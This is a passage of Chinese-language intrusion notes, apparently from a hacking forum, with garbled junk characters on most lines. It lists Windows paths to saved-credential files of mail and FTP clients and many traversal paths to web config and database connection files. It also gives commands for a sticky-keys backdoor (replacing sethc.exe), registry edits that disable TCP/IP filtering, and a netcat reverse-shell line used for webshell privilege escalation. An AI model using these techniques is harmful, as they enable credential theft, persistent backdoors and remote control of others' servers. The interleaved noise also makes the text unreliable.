- u7 k3 y/ P; M3 ?4 P2 G9 Z, T. PC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
: H' e0 l2 F, R" jC:\Program Files\LeapFTP 3.0\LeapFTP.exe
: T4 c% C% ~  o+ m' W; d3 RC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
$ s+ X$ c# G6 t" x& xc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
$ G* ]" u. Q( T; Fc:\Program Files\Oracle\bin\regsvr32.exe
: R" t6 L. e; v' o4 y/ i9 U$ uc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
/ s& J; n+ G; _* _6 A5 m) M' Fc:\Program Files\tencent\QQGAME\readme.txt
2 |5 n# `* v: C- M. |3 nC:\Program Files\StormII\Storm.exe

3.网站相对路径:
3 \+ p9 }3 o- q5 t. p3 g
# u, F; U5 V# ^$ f3 Y/config.php
../../config.php
! h% b6 Q5 Y8 b5 F8 x4 O- }- ~../config.php
* X9 e. h8 u3 G- `# u) l- B  M../../../config.php
/config.inc.php
./config.inc.php
" H# s, a" S! E. u6 n" g../../config.inc.php
9 _% t  K: {. ]; D/ v../config.inc.php
. T: _1 }7 ^* |' W- d' [../../../config.inc.php
, J) |' F6 o0 o- \5 o, x* @1 N% e/conn.php
./conn.php
- U* `& _, u# o../../conn.php
../conn.php
../../../conn.php
. ~' f' j0 d1 [$ D/conn.asp
1 b/ ]; ^0 h( N! h; P./conn.asp
9 Y0 M/ L( M* d  e2 G../../conn.asp
../conn.asp
../../../conn.asp
# p! Q# O. l; H' K, n4 V/config.inc.php
+ K, N3 P1 J; x- O. r./config.inc.php
9 {2 l9 r' `) s: L1 E- ?  u) Y( _  l; @../../config.inc.php
& L1 J# k0 u5 B5 m: V/ F. c../config.inc.php
2 F. T. m% N7 S/ B' W; S7 E../../../config.inc.php
0 ~' A, }7 f# n/config/config.php
../../config/config.php
8 d; N; {' O3 C) R../config/config.php
% E! A" i9 b' k/ P' L7 e, q' R../../../config/config.php
/config/config.inc.php
" f- H0 ~8 {; [./config/config.inc.php
../../config/config.inc.php
: Y1 M% ]. p3 |& r" {1 G; h../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
# Q# ?2 S; G/ x$ W: w0 _./config/conn.php
../../config/conn.php
../config/conn.php
../../../config/conn.php
7 h* Y9 K1 p4 W' U9 d/config/conn.asp
./config/conn.asp
* C( ^- ]2 X) K/ V/ M7 }5 _0 M2 m( }../../config/conn.asp
$ x0 A  z, E3 s! n  [6 P../config/conn.asp
( h3 ], }5 M7 t1 N; ?../../../config/conn.asp
/config/config.inc.php
# X% z, n- f. s( W8 Z% [./config/config.inc.php
1 B7 c# k( d3 Z1 `- v../../config/config.inc.php
2 b: {6 y2 z) l2 N) m( k8 e$ b../config/config.inc.php
../../../config/config.inc.php
% i" ?2 J& J* n7 ^/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
6 |8 p  r: H" ]3 o. |../../data/config.inc.php
../data/config.inc.php
" J0 J' I, P0 z1 ]' R7 A9 a../../../data/config.inc.php
" s4 @  G' d; t& \* |9 q: y/data/conn.php
./data/conn.php
6 v# `, U2 Q6 f' t( k../../data/conn.php
$ W3 l* Y0 J* @3 |+ ]../data/conn.php
9 a5 r, `9 C' [0 T! O# R../../../data/conn.php
/ T1 [1 x9 \8 I" }2 L7 t# z0 _/data/conn.asp
  g7 p; e6 Q! Q. B( h: a% h8 h./data/conn.asp
' }' ?" ~1 s9 m6 b0 \  q9 q../../data/conn.asp
. N& X+ _  E. L+ d../data/conn.asp
2 @/ `" j: K' M, _7 W% {" f  l../../../data/conn.asp
/data/config.inc.php
$ R0 B$ u9 ^1 a  g, x4 z! W" D$ z./data/config.inc.php
& ^9 P5 G$ w7 h# C5 ]../../data/config.inc.php
# X' t$ L# s. G/ a../data/config.inc.php
../../../data/config.inc.php
' t2 F7 i. _4 g; v) n, R/include/config.php
../../include/config.php
../include/config.php
0 s8 u/ Q) I9 F3 c8 _' M../../../include/config.php
$ ~1 `8 ~6 b1 k/include/config.inc.php
( a, M) U5 u- H) p./include/config.inc.php
" m! q6 M& y9 @' `../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
* R. v3 v  u: O, E. P0 i  Z/include/conn.php
./include/conn.php
../../include/conn.php
& l! h9 ~5 Q2 u' F$ w../include/conn.php
../../../include/conn.php
/include/conn.asp
  Q# G. c) r0 g./include/conn.asp
) _- g9 ]* \" E. |% T9 W( `. B../../include/conn.asp
../include/conn.asp
. }- a; i0 e; j* f" A7 R../../../include/conn.asp
* U4 ?6 i- G0 F) ~# M2 g5 B3 J/include/config.inc.php
( P: w5 ?5 ^4 \% C) s8 Y( Z$ ]./include/config.inc.php
! k7 E6 K/ ~' T+ N../../include/config.inc.php
# A' n" R: r+ _" j5 v../include/config.inc.php
../../../include/config.inc.php
! t9 V1 q" G# n' ~- k" Z/inc/config.php
../../inc/config.php
" K* v4 _4 c8 ~( N$ e../inc/config.php
6 C% K3 E1 Q+ w. o. i../../../inc/config.php
/inc/config.inc.php
! N- l: P+ D) O" t, H) e./inc/config.inc.php
../../inc/config.inc.php
  {+ e- u# t+ X5 A../inc/config.inc.php
' K( n1 X8 j' d# n0 S../../../inc/config.inc.php
! L2 G+ E) \, G) a/inc/conn.php
8 G: O  _. B4 \! o1 Z9 l./inc/conn.php
../../inc/conn.php
5 q2 c) K; o; \& X../inc/conn.php
# k' t& c1 R/ K/ H5 r../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
, }2 Q$ [& Q7 j& q: J../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
2 u5 \6 B, X7 `0 A& C! n" N../inc/config.inc.php
0 f9 d  W+ Z$ n../../../inc/config.inc.php
- Y) l& n! a4 y) \/index.php
./index.php
- F6 d  H: n5 o% s../../index.php
../index.php
../../../index.php
& g9 u" H9 Y5 I6 p/index.asp
./index.asp
. m( K3 M/ l) @1 {../../index.asp
9 L6 h3 L* D5 N/ R5 s, b../index.asp
4 u2 u$ G' z. [2 W../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
" _' R, g/ t3 a8 }6 I
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
& h$ }: P8 E7 n; U6 @
0 o8 c6 c9 ~& p9 F  h　　del c:\windows\system32\sethc.exe

# L, G# F- |& e0 }: z! ^/ M　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
" o/ \; W# X4 R  O
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

2 c* i7 ]# |4 v+ v3 |' J; ^, b　　attrib c:\windows\system32\sethc.exe +h +r +s
0 u* x& `! L( n) Y1 |5 ^
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
5 G4 [' x( k8 E1 n% H, j去除TCPIP筛选
$ y4 ?# q3 j. u9 u: y# {9 \TCP/IP筛选在注册表里有三处，分别是：
1 V7 \0 B- \( C2 ]$ d% z1 V) B& nHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
7 M: @, P7 ~9 [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
) A" e5 [+ d9 @7 g+ J
: P. E# [6 r! J9 z6 F! j分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
3 z: ^1 k: _' T+ z- ^regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
, I# a+ S7 k1 z3 mregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
& h* H( x4 ?% v7 Y命令来导出注册表项

1 \+ B: O' X5 }8 c# l. D然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

% S6 P( F9 M, ?' c6 `再将以上三个文件分别用
# L. y, G; ~3 W$ _( ~5 U) Z8 Iregedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
! {% h  V( K: Q: F5 F3 B2 f导入注册表即可
+ ?, w  z' R. s
9 g4 w& U# k! Z, B$ v, }$ wwebshell提权小技巧
cmd路径:
. m& M$ A, N! W, W# Gc:\windows\temp\cmd.exe
nc也在同目录下
* i* L, l$ l6 U! `( i例如反弹cmdshell：
, y# E, X. J+ w* q: A) P4 i7 H$ u. d"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
0 k8 \- w7 Y: l' r
4 |' J, x6 F' j/ }而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
' l) K$ U! P$ |0 {% u4 s1 g: R+ l' ^命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
5 n) g+ y8 n& T3 w却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功